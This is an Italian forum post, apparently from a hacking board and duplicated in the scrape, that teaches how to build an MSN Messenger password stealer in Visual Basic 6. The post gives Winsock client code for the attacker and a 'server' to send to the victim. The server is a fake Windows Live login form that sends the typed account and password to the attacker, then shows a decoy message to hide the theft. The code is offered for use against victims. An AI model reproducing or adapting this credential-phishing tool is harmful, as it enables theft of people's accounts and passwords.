oggi vi scrivo una guida ke non penso abbia scritto nessuno .....
E' un programma semplice ke ruba password di msn molto semplice ed efficace.....
iniziamo dal client
inserire nel progetto exe
3 text box
1 winsock
1 commandbutton
immagine
msn.JPG
msn.JPG (31.39 KiB) Osservato 10 volte
codice :
Private Sub Command1_Click() ' quando premo il comando1
Winsock1.RemoteHost = Text2.Text ' winsock si connette al text2 = a ip indirizzo
Winsock1.RemotePort = Text3.Text ' e si connette al text3 = alla porta
Winsock1.Connect ' se tutto va bene si connette
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strData As String ' strdata è una stringa
Winsock1.GetData strData, vbString ' winsock riceve dati
Text1.Text = Text1.Text & strData & vbCrL ' nel text1 riceve il text1 del server
End Sub
ok finito questo codice....
server ( da inviare alla vittima)
1 command button
2 textbox
1 winsock
2 form exe
e un programma gratis per prendere immagini ( a noi ci serve per creare l'interfaccia del login di windows live msn)
scaricabile al sito :
nel form2 inseriamo una label e ci scriaviamo dentro quello ke vogliamo x non farlo accorgere ke gli rubiamo le password ( esempio : é uno skerzo oppure accesso vietato........)
immagine server
aaa.JPG
aaa.JPG (57.59 KiB) Osservato 11 volte
codice :
Private Sub Form_Load()
Winsock1.LocalPort = 12345 ' mi connetto al winsock dalla porta 12345
Winsock1.Listen ' ascolto il winsock
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long )
If Winsock1.State <> sckClosed Then ' se il winsock non si connette allora
Winsock1.Close ' winsock chiuso
End If
Winsock1.Accept requestID
End Sub
Private Sub command1_Click()
Winsock1.SendData "ACCOUNT : " + Text1.Text + " " + "PASSWORD" + Text2.Text ' invio account e password
Form2.Show ' apro il form 2
End Sub
prima ke la vittima apra il server noi dobbiamo gia avere il client aperto e connesso.
ciao spero sia stato utile
fonte : mia ( nick : hackme )
cosa ne pensate??
fonte mia
E' un programma semplice ke ruba password di msn molto semplice ed efficace.....
iniziamo dal client
inserire nel progetto exe
3 text box
1 winsock
1 commandbutton
immagine
msn.JPG
msn.JPG (31.39 KiB) Osservato 10 volte
codice :
Private Sub Command1_Click() ' quando premo il comando1
Winsock1.RemoteHost = Text2.Text ' winsock si connette al text2 = a ip indirizzo
Winsock1.RemotePort = Text3.Text ' e si connette al text3 = alla porta
Winsock1.Connect ' se tutto va bene si connette
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim strData As String ' strdata è una stringa
Winsock1.GetData strData, vbString ' winsock riceve dati
Text1.Text = Text1.Text & strData & vbCrL ' nel text1 riceve il text1 del server
End Sub
ok finito questo codice....
server ( da inviare alla vittima)
1 command button
2 textbox
1 winsock
2 form exe
e un programma gratis per prendere immagini ( a noi ci serve per creare l'interfaccia del login di windows live msn)
scaricabile al sito :
Perfavore,
Entra
oppure
Registrati
per vedere i Link!
.nel form2 inseriamo una label e ci scriaviamo dentro quello ke vogliamo x non farlo accorgere ke gli rubiamo le password ( esempio : é uno skerzo oppure accesso vietato........)
immagine server
aaa.JPG
aaa.JPG (57.59 KiB) Osservato 11 volte
codice :
Private Sub Form_Load()
Winsock1.LocalPort = 12345 ' mi connetto al winsock dalla porta 12345
Winsock1.Listen ' ascolto il winsock
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long )
If Winsock1.State <> sckClosed Then ' se il winsock non si connette allora
Winsock1.Close ' winsock chiuso
End If
Winsock1.Accept requestID
End Sub
Private Sub command1_Click()
Winsock1.SendData "ACCOUNT : " + Text1.Text + " " + "PASSWORD" + Text2.Text ' invio account e password
Form2.Show ' apro il form 2
End Sub
prima ke la vittima apra il server noi dobbiamo gia avere il client aperto e connesso.
ciao spero sia stato utile
fonte : mia ( nick : hackme )
cosa ne pensate??
fonte mia
Ultima modifica:
se è tuo complimenti
